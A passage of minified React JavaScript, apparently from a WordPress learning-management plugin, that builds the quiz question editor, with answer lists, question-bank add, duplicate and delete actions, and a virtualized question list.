l().createElement(Kc.sx,{draggableId:(null==n||null===(t=n.id)||void 0===t?void 0:t.toString())||a.toString(),index:a},(e=>l().createElement(d.B,(0,Re.A)({key:n.id,direction:"row",border:"1px",borderColor:c?"green.200":"gray.100",rounded:"sm",alignItems:"center",justify:"space-between",bg:"white",px:"2",py:"1",ref:e.innerRef},e.draggableProps),l().createElement(d.B,{direction:"row",spacing:"2",align:"center"},l().createElement(_e.o,e.dragHandleProps,l().createElement($e.I,{fontSize:"lg",color:"gray.500",as:tu})),l().createElement(Je.xI,{name:"answers.".concat(a,".name"),control:s,defaultValue:n.name,render:e=>{var{field:t}=e;return l().createElement(jw.F,{value:t.value,onSubmit:e=>{""===e.trim()?t.onChange("Option"):t.onChange(e)}},l().createElement(Vw.l,null),l().createElement(Lw.j,t))}})),l().createElement(d.B,{direction:"row",spacing:"4"},l().createElement(On.S,(0,Re.A)({colorScheme:"green"},m("answers.".concat(a,".correct")),{defaultChecked:n.correct,onChange:e=>o(a,e.target.checked)})),l().createElement(d.B,{direction:"row",spacing:"2"},l().createElement($n.m,{label:(0,E.__)("Duplicate answer","learning-management-system")},l().createElement(Un.K,{variant:"icon","aria-label":(0,E.__)("Duplicate","learning-management-system"),icon:l().createElement(kt.Xpf,null),onClick:i})),l().createElement($n.m,{label:(0,E.__)("Delete answer","learning-management-system")},l().createElement(Un.K,{variant:"icon",colorScheme:"red","aria-label":(0,E.__)("Delete","learning-management-system"),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),onClick:r})))))))};const Rw=e=>{var{currentQuestionType:t,isUpdating:n}=e,{control:r}=(0,Je.xW)(),i=(0,We.d)(),{fields:o,append:s,remove:m,move:c,update:u}=(0,Je.jz)({control:r,name:"answers"}),A=(0,Je.FH)({control:r,name:"answers"}),y="true-false"===t&&A.length>2,v="true-false"===t&&A.length>1,f=N(A)&&ae("name",A)||!1,h=N(A)&&!le(A,"correct",!0)||!1;return(0,a.useEffect)((()=>{var e;"single-choice"===t&&((null===(e=o.filter((e=>e.correct)))||void 0===e?void 0:e.length)>1&&o.forEach(((e,t)=>{u(t,{name:e.name,correct:0===t})})))}),[t]),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"1"},l().createElement(_t.S,{in:f||y||h},l().createElement(at,{status:"error",mb:"4",fontSize:"xs",p:"2"},l().createElement(Ze.z,{gap:2},l().createElement(g.E,{fontWeight:"bold"},y?(0,E.__)("This question type only accepts one","learning-management-system"):h?(0,E.__)("You need to check at least one answer","learning-management-system"):(0,E.__)("Duplicate Answers","learning-management-system")," "),l().createElement(g.E,null,(0,E.__)("Please make changes","learning-management-system"))))),l().createElement(Kc.JY,{onDragEnd:e=>{e.destination&&(e.destination.droppableId===e.source.droppableId&&e.destination.index===e.source.index||c(e.source.index,e.destination.index))}},l().createElement(Kc.gL,{droppableId:"quiz-answer",type:"answer"},((e,n)=>l().createElement(d.B,(0,Re.A)({direction:"column",spacing:"2",px:"2",sx:n.isDraggingOver?tn:{},ref:e.innerRef},e.droppableProps),o.map(((e,n)=>l().createElement(Mw,{answer:e,index:n,key:e.id,onDeletePress:()=>m(n),onDuplicatePress:()=>(e=>{if(!v)try{var n;s({name:"".concat(o[e].name," duplicate"),correct:"true-false"!==t&&(null===(n=o[e])||void 0===n?void 0:n.correct)})}catch(e){i({title:(0,E.__)("Error while duplicating answer","learning-management-system"),status:"error",description:"".concat(e)})}})(n),onCheckPress:(e,n)=>((e,n)=>{try{["true-false","single-choice"].includes(t)&&o.forEach(((t,n)=>{u(n,n!==e?{name:A[n].name,correct:!1}:{name:A[n].name,correct:!0})})),u(e,{name:A[e].name,correct:n})}catch(e){i({title:(0,E.__)("Error while checking answer","learning-management-system"),status:"error",description:"".concat(e)})}})(e,n)}))),e.placeholder))))),l().createElement(Bt.e,{isDisabled:v,display:"block"},l().createElement(p.$,{leftIcon:l().createElement($e.I,{as:kt.Ca6,fontSize:"xl"}),variant:"link",color:"gray.900",onClick:()=>{s({name:"Option ".concat(o.length+1),correct:!1})}},(0,E.__)("Add New Answer","learning-management-system"))))};const Tw=e=>{var{currentQuestionType:t,isUpdating:n}=e;return l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(ft.s,{sx:$t},l().createElement(ke.D,{fontSize:"lg",fontWeight:"semibold"},(0,E.__)("Answers","learning-management-system"))),(()=>{if(["true-false","single-choice","multiple-choice"].includes(t))return l().createElement(Rw,{currentQuestionType:t,isUpdating:n})})())};const Uw=e=>{var{id:t,questionDescription:n}=e;return l().createElement(d.B,{direction:"column"},l().createElement(Ge.l,null,(0,E.__)("Question Description","learning-management-system")),l().createElement(Ne.MJ,null,l().createElement(Ki,{name:"description",defaultValue:n,id:"question-description-".concat(t),height:100})))};const Ww=e=>{var t,{id:n,defaultQuestionType:a,defaultQuestionName:r,defaultDescription:i}=e,{register:o,setValue:s,formState:{errors:m,defaultValues:c}}=(0,Je.xW)();(0,E.__)("True False","learning-management-system"),(0,E.__)("Single Choice","learning-management-system"),(0,E.__)("Multiple Choice","learning-management-system");return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Ne.MJ,{isInvalid:!(null==m||!m.name)},l().createElement(ft.s,{justifyContent:"space-between",mb:"3",align:"center"},l().createElement(Ge.l,{m:0},(0,E.__)("Question Name","learning-management-system")),l().createElement(Ze.z,{spacing:"-1",alignItems:"center"},l().createElement(Ge.l,{mb:"0"},(0,E.__)("Points","learning-management-system")),l().createElement(Je.xI,{name:"points",render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{w:"14",min:1,max:100,size:"xs"}),l().createElement(yi.OO,{borderRadius:"base",shadow:"input",textAlign:"center",fontSize:"sm"}))}}))),l().createElement(Ki,{defaultValue:null!=r?r:null==c?void 0:c.raw_name,id:"question-name-".concat(n),name:"name",height:80,showBasicToolbar:!0}),l().createElement(ui.Wt,null,(null==m?void 0:m.name)&&(null==m||null===(t=m.name)||void 0===t?void 0:t.message))),l().createElement(Uw,{id:n,questionDescription:i||""}))};var Kw=["id","menu_order","permalink","is_from_bank"];function Nw(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Gw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Nw(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Nw(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Hw=e=>{var t,{questionData:n,index:r,quizId:i,isQuestionBankOpened:o,bulkIds:m,setBulkIds:c,openedQuestionDetail:y,setOpenedQuestionDetail:v}=e,h=(0,We.d)(),[b,C]=(0,a.useState)(null),S=(0,Je.mN)({defaultValues:{name:n.name,type:n.type,points:n.points,answers:n.answers}}),{control:B,formState:{errors:I}}=S,{isOpen:O,onOpen:P,onClose:D}=(0,Ue.j)(),{isOpen:_,onOpen:k,onClose:Q}=(0,Ue.j)(),z=new mt(rt.questions),F=(0,s.jE)(),j=(0,a.useRef)(),V=(0,qw.l)(),L=y===(null==n?void 0:n.id),M=(0,Je.FH)({name:"deleteFromBank",control:B,defaultValue:!1}),R=(0,wt.n)(Gw({mutationFn:e=>z.store(e)},{onSuccess:e=>{F.invalidateQueries({queryKey:["questions".concat(i)]}),F.invalidateQueries({queryKey:["allQuestions"]})},onError:e=>{var t;h({title:(0,E.__)("Failed to duplicate question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),T=(0,wt.n)(Gw(Gw({mutationFn:e=>z.update(n.id,e)},{onSuccess:e=>{S.reset(S.getValues()),F.invalidateQueries({queryKey:["allQuestions"]}),h({title:(0,E.__)("Question Updated","learning-management-system"),isClosable:!0,status:"success"}),F.invalidateQueries({queryKey:["questions".concat(i)]})},onError:e=>{var t;h({title:(0,E.__)("Failed to update question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}),{},{onSettled:()=>{Q()}})),U=(0,wt.n)(Gw({mutationFn:e=>z.delete(e,{force:!0,delete_from_bank:M||void 0,quiz_id:M?void 0:i})},{onSuccess:e=>{D(),F.invalidateQueries({queryKey:["allQuestions"]}),h({title:(0,E.__)("Question Deleted","learning-management-system"),isClosable:!0,status:"error"}),F.invalidateQueries({queryKey:["questions".concat(i)]})},onError:e=>{var t;h({title:(0,E.__)("Failed to delete question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),W=()=>{var{id:e,menu_order:t,permalink:a,is_from_bank:l}=n,r=(0,q.A)(n,Kw);R.mutate(r)},K=e=>{C(e),null==n||!n.is_from_bank||_?T.mutate(e):k()},G=e=>{switch(e){case"true-false":return Tv;case"multiple-choice":return vi;case"single-choice":return Uv;default:return kt.wfp}},H=(0,Je.FH)({name:"type",control:B,defaultValue:n.type}),J=((0,Je.FH)({name:"enable_description",defaultValue:n.enable_description,control:B}),(0,Je.FH)({control:B,name:"answers"})),X="true-false"===H&&J.length>2,Y=N(J)&&ae("name",J)||!1,Z=N(J)&&!le(J,"correct",!0)||!1,$=(0,a.useMemo)((()=>!(!["true-false","single-choice","multiple-choice"].includes(H)||!(Y||X||Z))),[H,Y,X,Z]);return Ca(S.formState.isDirty),l().createElement(l().Fragment,null,l().createElement(Kc.sx,{draggableId:null==n||null===(t=n.id)||void 0===t?void 0:t.toString(),index:r},(e=>l().createElement(Qe.a,(0,Re.A)({mb:"3",ref:e.innerRef},e.draggableProps),l().createElement(Qe.a,{role:"group",borderWidth:"1px",borderColor:"gray.100",rounded:"sm",bg:"white",p:"0",shadow:L?"question":"none",_hover:{borderColor:L?"inherit":"primary.500"}},l().createElement(d.B,{direction:"row",px:"2",py:"1.5",align:"center"},l().createElement(d.B,{direction:"row",spacing:"2",align:"center",flex:"1",onClick:()=>v(L?null:null==n?void 0:n.id),cursor:"pointer"},l().createElement(d.B,{direction:"row",align:"center"},l().createElement(_e.o,(0,Re.A)({},e.dragHandleProps,{onClick:e=>e.stopPropagation()}),l().createElement($e.I,{fontSize:"lg",color:"gray.500",as:tu})),l().createElement($e.I,{fontSize:"xl",as:G(H)}),l().createElement(g.E,{color:"gray.400",fontSize:"xs",fontWeight:"bold"},r+1)),o&&l().createElement(d.B,null,l().createElement(On.S,{isChecked:m.includes(null==n?void 0:n.id.toString()),onChange:e=>c(e.target.checked?[...m,null==n?void 0:n.id.toString()]:m.filter((e=>e!==(null==n?void 0:n.id.toString()))))})),l().createElement(g.E,{_hover:{background:"transparent"},px:"0",py:"1",cursor:"pointer",dangerouslySetInnerHTML:{__html:null==n?void 0:n.name},className:"parsed-quiz-question-name"})),l().createElement(d.B,{direction:"row",spacing:"2",opacity:"0",_groupHover:{opacity:1}},l().createElement($n.m,{label:(0,E.__)("Duplicate","learning-management-system")},l().createElement(Un.K,{variant:"icon","aria-label":(0,E.__)("Duplicate","learning-management-system"),icon:l().createElement(kt.Xpf,null),onClick:W})),l().createElement($n.m,{label:(0,E.__)("Delete","learning-management-system")},l().createElement(Un.K,{variant:"icon",colorScheme:"red",_hover:{color:"red.500"},"aria-label":(0,E.__)("Delete","learning-management-system"),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),minW:"auto",onClick:P})))),L&&l().createElement(Qe.a,{borderTop:"1px",borderColor:"gray.100",p:"6"},l().createElement(Je.Op,S,l().createElement("form",{onSubmit:S.handleSubmit(K)},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Ww,{id:null==n?void 0:n.id,defaultQuestionType:n.type,defaultQuestionName:n.raw_name,defaultDescription:n.description}),l().createElement(Tw,{currentQuestionType:H,isUpdating:T.isPending}),l().createElement(Do.c,null),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:Boolean(V),isDisabled:Boolean($)},(0,E.__)("Update","learning-management-system"))))))))))),R.isPending&&l().createElement(_e.o,null,l().createElement(bt.y,null)),l().createElement(Fw,{heading:M?(0,E.__)("Delete Question from All Quizzes","learning-management-system"):(0,E.__)("Delete Question from This Quiz","learning-management-system"),isOpen:O,onClose:D,onDeleteConfirm:S.handleSubmit((()=>{U.mutate(n.id)})),isLoading:U.isPending,dialogBody:null!=n&&n.is_from_bank?l().createElement(Je.Op,S,l().createElement(u.T,{alignItems:"flex-start",spacing:4},l().createElement(g.E,{color:"gray.600"},(0,E.__)("This question is part of the question bank. Are you sure you want to proceed?","learning-management-system")),l().createElement(On.S,S.register("deleteFromBank"),(0,E.__)("Delete From Bank","learning-management-system")),l().createElement(g.E,{fontSize:"sm"},M?(0,E.__)("Delete from bank is enabled. This question will be removed from the question bank and all associated quizzes.","learning-management-system"):(0,E.__)("This question will only be removed from this quiz. It will remain in the question bank.","learning-management-system")))):l().createElement(g.E,null,(0,E.__)("Are you sure you want to delete this question? This is the original question, and deleting it will remove it from all quizzes where it's used.","learning-management-system")),size:"lg"}),l().createElement(Ke.Lt,{isOpen:_,onClose:Q,isCentered:!0,leastDestructiveRef:j,size:"lg"},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Update Question","learning-management-system")),l().createElement(x.c,null,(0,E.__)("This question is part of the question bank. If you update it, it will also be updated in the question bank. Are you sure you want to proceed?","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:j,onClick:Q,variant:"outline"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"primary",onClick:()=>K(b),isLoading:T.isPending},(0,E.__)("Update","learning-management-system"))))))))};const Jw=l().memo(Hw);const Xw=e=>{var t,{wishlistItem:n,showFormLabel:a}=e,r=(0,Je.xW)(),{setValue:i}=r,o=new mt(rt.courses),s=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>o.list({order_by:"name",order:"asc",per_page:5})});return l().createElement(Ne.MJ,{py:a?"3":"0"},a&&l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(Co,{onChange:e=>{i("course_id",null==e?void 0:e.value)},placeholder:(0,E.__)("Select Course","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):s.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},menuPortalTarget:"undefined"!=typeof document?document.body:void 0,menuPosition:"fixed",menuPlacement:"auto",defaultValue:n?{value:n.course_id,label:"#".concat(n.id," - ").concat(n.course_title)}:void 0,defaultOptions:s.isSuccess?null==s||null===(t=s.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"#".concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.name)}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);o.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}}))};var Yw=n(17613),Zw=["itemCount","getItemHeight","renderItem","containerRef","isLoading","loadingItems","customLoader","itemLoader","loadingText","showSkeleton","skeletonCount","height","overflowY","useParentScroll","onLoadMore"];function $w(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function eC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$w(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$w(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var tC=(0,a.memo)((e=>{var{itemCount:t,getItemHeight:n,renderItem:r,containerRef:i,isLoading:o=!1,loadingItems:s=[],customLoader:m,itemLoader:c,loadingText:u="Loading...",showSkeleton:d=!0,skeletonCount:A=5,height:p="400px",overflowY:E="auto",useParentScroll:y=!1,onLoadMore:v}=e,f=(0,q.A)(e,Zw),[h,b]=(0,a.useState)([]),[w,C]=(0,a.useState)(0),[x,S]=(0,a.useState)({start:0,end:20}),[B,I]=(0,a.useState)({isInitialLoading:!0,loadingItems:new Set}),O=(0,a.useRef)(0),P=(0,a.useRef)(),D=(0,a.useRef)(new Set),_=(0,a.useMemo)((()=>{for(var e=[],t=0,n=0;n<h.length;n++)e.push(t),t+=h[n];return e}),[h]);(0,a.useEffect)((()=>{D.current=new Set(s),I((e=>eC(eC({},e),{},{loadingItems:D.current})))}),[s]),(0,a.useEffect)((()=>{if(0===h.length&&I((e=>eC(eC({},e),{},{isInitialLoading:!0}))),0===t)return I((e=>eC(eC({},e),{},{isInitialLoading:!1}))),b([]),void C(0);requestAnimationFrame((()=>{for(var e=[],a=0,l=0;l<t;l++){var r=n(l);e.push(r),a+=r}b(e),C(a),I((e=>eC(eC({},e),{},{isInitialLoading:!1})))}))}),[t,n]);var k=(0,a.useCallback)((()=>{P.current&&clearTimeout(P.current),P.current=setTimeout((()=>{var e,t,n=y?(null===(e=i.current)||void 0===e?void 0:e.closest("[data-scroll-container]"))||(null===(t=i.current)||void 0===t?void 0:t.parentElement):i.current;if(n&&0!==h.length&&(P.current&&clearTimeout(P.current),n&&0!==h.length)){var{scrollTop:a,clientHeight:l,scrollHeight:r}=n;if(v&&a+l>=r-100){var o=Date.now();o-O.current>1e3&&(O.current=o,v())}var s=0;if(y&&i.current){var m=i.current.getBoundingClientRect(),c=n.getBoundingClientRect();s=m.top-c.top+n.scrollTop}for(var u=s,d=0;d<h.length&&!(u+h[d]>a);d++)u+=h[d];for(var g=d=Math.max(0,d-3),A=a+l;g<h.length&&u<A;)u+=h[g],g++;g=Math.min(h.length,g+3),S((e=>e.start!==d||e.end!==g?{start:d,end:g}:e))}}),16)}),[h,i,y,v]);(0,a.useEffect)((()=>{var e,t;if(!B.isInitialLoading){var n=y?(null===(e=i.current)||void 0===e?void 0:e.closest("[data-scroll-container]"))||(null===(t=i.current)||void 0===t?void 0:t.parentElement):i.current;if(n)return n.addEventListener("scroll",k,{passive:!0}),k(),()=>{n.removeEventListener("scroll",k),P.current&&clearTimeout(P.current)}}}),[k,B.isInitialLoading,y]);var Q=(0,a.useMemo)((()=>{var e=e=>{var{text:t}=e;return l().createElement(ft.s,{direction:"column",align:"center",justify:"center",h:"full",gap:3},l().createElement(bt.y,{size:"lg",color:"blue.500",thickness:"4px"}),t&&l().createElement(g.E,{color:"gray.500",fontSize:"sm"},t))};return e.displayName="DefaultLoader",e}),[]),z=(0,a.useMemo)((()=>{var e=()=>l().createElement(ft.s,{align:"center",justify:"center",h:"full",bg:"gray.50",border:"1px",borderColor:"gray.200",borderRadius:"md"},l().createElement(bt.y,{size:"sm",color:"blue.500"}));return e.displayName="DefaultItemLoader",e}),[]),F=(0,a.useMemo)((()=>{var e=()=>l().createElement(Qe.a,{p:4,bg:"white",borderRadius:"md",border:"1px",borderColor:"gray.200",mb:2},l().createElement(St.E,{height:"20px",mb:2}),l().createElement(Ba.r,{mt:2,noOfLines:2,spacing:2,skeletonHeight:"12px"}));return e.displayName="SkeletonLoader",e}),[]),j=eC({ref:i,h:p,position:"relative"},y?{}:{overflowY:E});if(B.isInitialLoading||o)return l().createElement(Qe.a,j,m||(d?l().createElement(Qe.a,{p:2},Array.from({length:A}).map(((e,t)=>l().createElement(F,{key:t})))):l().createElement(Q,{text:u})));for(var V=[],L=x.start;L<x.end;L++){var M=D.current.has(L);V.push(l().createElement(Qe.a,{key:L,position:"absolute",top:"".concat(_[L]||0,"px"),w:"full",h:"".concat(h[L]||0,"px"),overflow:"hidden"},M?c||l().createElement(z,null):r(L)))}return l().createElement(Qe.a,(0,Re.A)({},j,f),l().createElement(Qe.a,{h:"".concat(w,"px"),position:"relative"},V))}));tC.displayName="VirtualizedContainer";var nC=["id","menu_order","permalink","is_from_bank"];function aC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function lC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?aC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):aC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var rC=e=>{switch(e){case"true-false":return Tv;case"multiple-choice":return vi;case"single-choice":return Uv;default:return kt.wfp}};const iC=e=>{var t,{questionData:n,bulkIds:r,setBulkIds:i,quizId:o,onAddClick:m,isAdding:c,closeQuestionBank:u}=e,A=(0,We.d)(),p=(0,Je.mN)({defaultValues:{name:null==n?void 0:n.name}}),{control:y}=p,{isOpen:v,onOpen:f,onClose:h}=(0,Ue.j)(),b=new mt(rt.questions),w=(0,s.jE)(),C=(0,wt.n)(lC({mutationFn:e=>b.delete(e,{force:!0,delete_from_bank:!0})},{onSuccess:e=>{h(),w.invalidateQueries({queryKey:["questions".concat(o)]}),i([]),w.invalidateQueries({queryKey:["allQuestions"]}),A({title:(0,E.__)("Question Deleted","learning-management-system"),isClosable:!0,status:"error"}),w.invalidateQueries({queryKey:["questions".concat(e.parent_id)]})},onError:e=>{var t;A({title:(0,E.__)("Failed to delete question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),x=(0,wt.n)(lC({mutationFn:e=>b.store(e)},{onSuccess:e=>{u&&u(),w.invalidateQueries({queryKey:["questions".concat(o)]}),w.invalidateQueries({queryKey:["allQuestions"]})},onError:e=>{var t;A({title:(0,E.__)("Failed to duplicate question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),S=(0,Je.FH)({name:"type",control:y,defaultValue:null==n?void 0:n.type}),B=(0,a.useMemo)((()=>new Set(r)),[r]);return l().createElement(l().Fragment,null,l().createElement(Qe.a,{border:"none",mb:"3",opacity:c?.5:1},l().createElement(Qe.a,{bg:"white",p:"0"},l().createElement(d.B,{direction:"row",px:"2",pb:"1.5",pt:"1",align:"center"},l().createElement(d.B,{direction:"row",spacing:"2",align:"center",flex:"1"},l().createElement(_e.o,{mx:1},l().createElement(On.S,{isChecked:B.has(null==n||null===(t=n.id)||void 0===t?void 0:t.toString()),onChange:e=>{var t,a,l;a=null==e||null===(t=e.target)||void 0===t?void 0:t.checked,(l=String(null==n?void 0:n.id))&&i((e=>{var t=new Set(e);return a?t.add(l):t.delete(l),Array.from(t)}))}})),l().createElement(d.B,{direction:"row"},l().createElement($e.I,{fontSize:"xl",as:rC(S)})),l().createElement($n.m,{label:l().createElement(Qe.a,{dangerouslySetInnerHTML:{__html:null==n?void 0:n.name}}),hasArrow:!0,placement:"top-start",shouldWrapChildren:!0},l().createElement(g.E,{_hover:{background:"transparent"},px:"0",py:"1",dangerouslySetInnerHTML:{__html:null==n?void 0:n.name},className:"parsed-quiz-question-name",isTruncated:!0}))),l().createElement(d.B,{direction:"row",spacing:"4"},l().createElement($n.m,{label:(0,E.__)("Add to Quiz","learning-management-system")},l().createElement(Un.K,{_hover:{color:"blue.500"},variant:"icon","aria-label":(0,E.__)("Add","learning-management-system"),icon:l().createElement(kt.Ca6,{fontSize:"20px"}),minW:"auto",isLoading:c,onClick:()=>{var e;return m(null==n||null===(e=n.id)||void 0===e?void 0:e.toString())}})),l().createElement($n.m,{label:(0,E.__)("Duplicate and Add to Quiz","learning-management-system")},l().createElement(Un.K,{variant:"icon","aria-label":(0,E.__)("Duplicate and Add to Quiz","learning-management-system"),icon:l().createElement(kt.Xpf,null),minW:"auto",isLoading:x.isPending,onClick:()=>(e=>{var{id:t,menu_order:n,permalink:a,is_from_bank:l}=e,r=(0,q.A)(e,nC);x.mutate(lC(lC({},r),{},{parent_id:o}))})(n)})),l().createElement($n.m,{label:(0,E.__)("Delete from Question Bank","learning-management-system")},l().createElement(Un.K,{_hover:{color:"red.500"},variant:"icon",colorScheme:"red","aria-label":(0,E.__)("Delete","learning-management-system"),icon:l().createElement(kt.id1,null),minW:"auto",onClick:f})))))),l().createElement(Fw,{heading:(0,E.__)("Delete Question from All Quizzes","learning-management-system"),isOpen:v,onClose:h,onDeleteConfirm:()=>{C.mutate(null==n?void 0:n.id)},isLoading:C.isPending,dialogBody:(0,E.__)("This question is part of the question bank. If you delete it, it will also be removed from all associated quizzes. Are you sure you want to proceed?","learning-management-system"),size:"lg"}))};function oC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function sC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?oC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):oC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var mC=[{value:"true-false",label:(0,E.__)("True False","learning-management-system"),icon:Tv},{value:"single-choice",label:(0,E.__)("Single Choice","learning-management-system"),icon:Uv},{value:"multiple-choice",label:(0,E.__)("Multiple Choice","learning-management-system"),icon:vi},{value:"text-answer",label:(0,E.__)("Text Answer","learning-management-system"),isPro:!0,icon:Iw},{value:"matching",label:(0,E.__)("Match the Following","learning-management-system"),isPro:!0,icon:Ow},{value:"fill-in-the-blanks",label:(0,E.__)("Fill in the blanks","learning-management-system"),isPro:!0,icon:Pw},{value:"audio",label:(0,E.__)("Audio","learning-management-system"),isPro:!0,icon:Dw},{value:"video",label:(0,E.__)("Video","learning-management-system"),isPro:!0,icon:_w},{value:"sortable",label:(0,E.__)("Sortable","learning-management-system"),isPro:!0,icon:kw}];const cC=e=>{var t,{quizId:n,isOpen:r,onClose:i}=e,[o,m]=(0,a.useState)([]),c=(0,s.jE)(),u=(0,a.useRef)(null),d=(0,We.d)(),y=(0,Jr.A)({base:"base",xs:"xs",sm:"sm",md:"md",lg:"lg",xl:"xl"},{ssr:!0}),v=(0,Je.mN)({defaultValues:{searchQuery:"",questionType:null,course_id:null}}),{control:S,register:B,setValue:I}=v,O=(0,Je.FH)({control:S,name:"questionType"}),P=(0,Je.FH)({control:S,name:"searchQuery"}),D=(0,Je.FH)({control:S,name:"course_id"}),_=new mt(rt.questions),k=new mt(rt.questionsBank),Q=(0,sc.q)({queryKey:["allQuestions",O,null==P?void 0:P.trim(),D],queryFn:e=>{var{pageParam:t}=e;return _.list({selected_quiz_id:n,page:t,per_page:20,author_id:null==R?void 0:R.current_user_id,course_id:D||void 0,search:P,question_types:O?null==O?void 0:O.map((e=>null==e?void 0:e.value)):null})},retry:!1,enabled:r,initialPageParam:1,getNextPageParam:e=>e.meta.current_page>=e.meta.pages?void 0:e.meta.current_page+1}),z=(0,wt.n)({mutationFn:e=>k.bulkUpdate("",{ids:e,quiz_id:n,author_id:null==R?void 0:R.current_user_id}),onSuccess:()=>{d({title:(0,E.__)("Question Added Successfully.","learning-management-system"),status:"success",isClosable:!0}),i(),m([]),c.invalidateQueries({queryKey:["questions".concat(n)]}),c.invalidateQueries({queryKey:["allQuestions"]})},onError:()=>{d({title:(0,E.__)("Failed to add questions.","learning-management-system"),status:"error",isClosable:!0})}}),q=(0,a.useCallback)((e=>{z.mutate([e])}),[z]);(0,a.useEffect)((()=>{if(null!=Q&&Q.isError){var e,t=(null===(e=Q.error)||void 0===e?void 0:e.message)||"An unexpected error occurred.";d({title:(0,E.__)("Failed to fetch questions.","learning-management-system"),description:t,isClosable:!0,status:"error"})}}),[null==Q?void 0:Q.isError,null===(t=Q.error)||void 0===t?void 0:t.message,d]),(0,a.useEffect)((()=>{r||(m([]),I("searchQuery",""),I("questionType",null),I("course_id",null))}),[r,I]);var F=(0,a.useMemo)((()=>{var e;return(null===(e=Q.data)||void 0===e?void 0:e.pages.flatMap((e=>e.data)))||[]}),[Q.data]),j=Q.hasNextPage,V=Q.isFetchingNextPage,L=(0,a.useCallback)((e=>{var t,a=F[e];return a?l().createElement(Qe.a,{pb:1,key:a.id,borderTopWidth:0===e?0:1,borderTopColor:"gray.100"},l().createElement(iC,{bulkIds:o,quizId:n,setBulkIds:m,questionData:a,onAddClick:q,isAdding:z.isPending&&(null==z||null===(t=z.variables)||void 0===t?void 0:t.includes(a.id.toString()))})):null}),[o,n,z.isPending,null==z?void 0:z.variables,F,q]),M=(0,a.useCallback)((()=>60),[]);return l().createElement(h.aF,{isOpen:r,onClose:i,size:"4xl",closeOnOverlayClick:!1,scrollBehavior:"outside"},l().createElement(f.m,null),l().createElement(b.$,{maxH:"100vh"},l().createElement(w.r,{borderBottom:"1px",borderColor:"gray.200"},(0,E.__)("Question 